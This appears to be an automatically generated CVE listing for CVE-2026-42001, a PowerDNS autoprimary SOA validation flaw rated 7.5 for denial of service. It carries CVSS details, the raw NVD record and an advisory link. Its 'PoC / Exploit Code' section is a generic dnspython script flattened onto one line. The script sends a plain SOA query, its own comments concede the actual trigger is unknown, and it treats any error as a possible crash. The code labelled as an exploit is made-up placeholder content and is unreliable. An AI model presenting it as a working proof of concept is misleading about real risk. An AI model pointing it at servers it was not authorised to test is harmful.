Security Vulnerability Report
中文
CVE-2026-42001 CVSS 7.5 HIGH

CVE-2026-42001

Published: 2026-05-21 10:16:26
Last Modified: 2026-05-21 15:27:52

Description

Insufficient Validation of Autoprimary SOA Queries

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

请参考官方公告 powerdns-advisory-powerdns-2026-06 获取具体受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import dns.query import dns.message # PoC for CVE-2026-42001 # Description: Sends a crafted SOA query to trigger the insufficient validation issue. # Note: Adjust the payload based on specific vulnerability trigger details. def send_soa_query(target_ip, domain): # Create a DNS query for SOA record query = dns.message.make_query(domain, 'SOA') # In a real scenario, specific manipulation of the query flags or # sections might be required to trigger the crash. # Example: query.flags |= dns.flags.AD try: print(f"Sending crafted SOA query to {target_ip}...") response = dns.query.udp(query, target_ip, timeout=5) print("Response received (Server might be patched or not vulnerable):") print(response) except dns.exception.DNSException as e: print(f"DNS Exception occurred (Potential Crash/DoS): {e}") except Exception as e: print(f"General Error: {e}") if __name__ == "__main__": # Replace with the actual target IP target = "127.0.0.1" target_domain = "example.com" send_soa_query(target, target_domain)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42001", "sourceIdentifier": "[email protected]", "published": "2026-05-21T10:16:25.683", "lastModified": "2026-05-21T15:27:51.530", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient Validation of Autoprimary SOA Queries"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-06.html", "source": "[email protected]"}]}}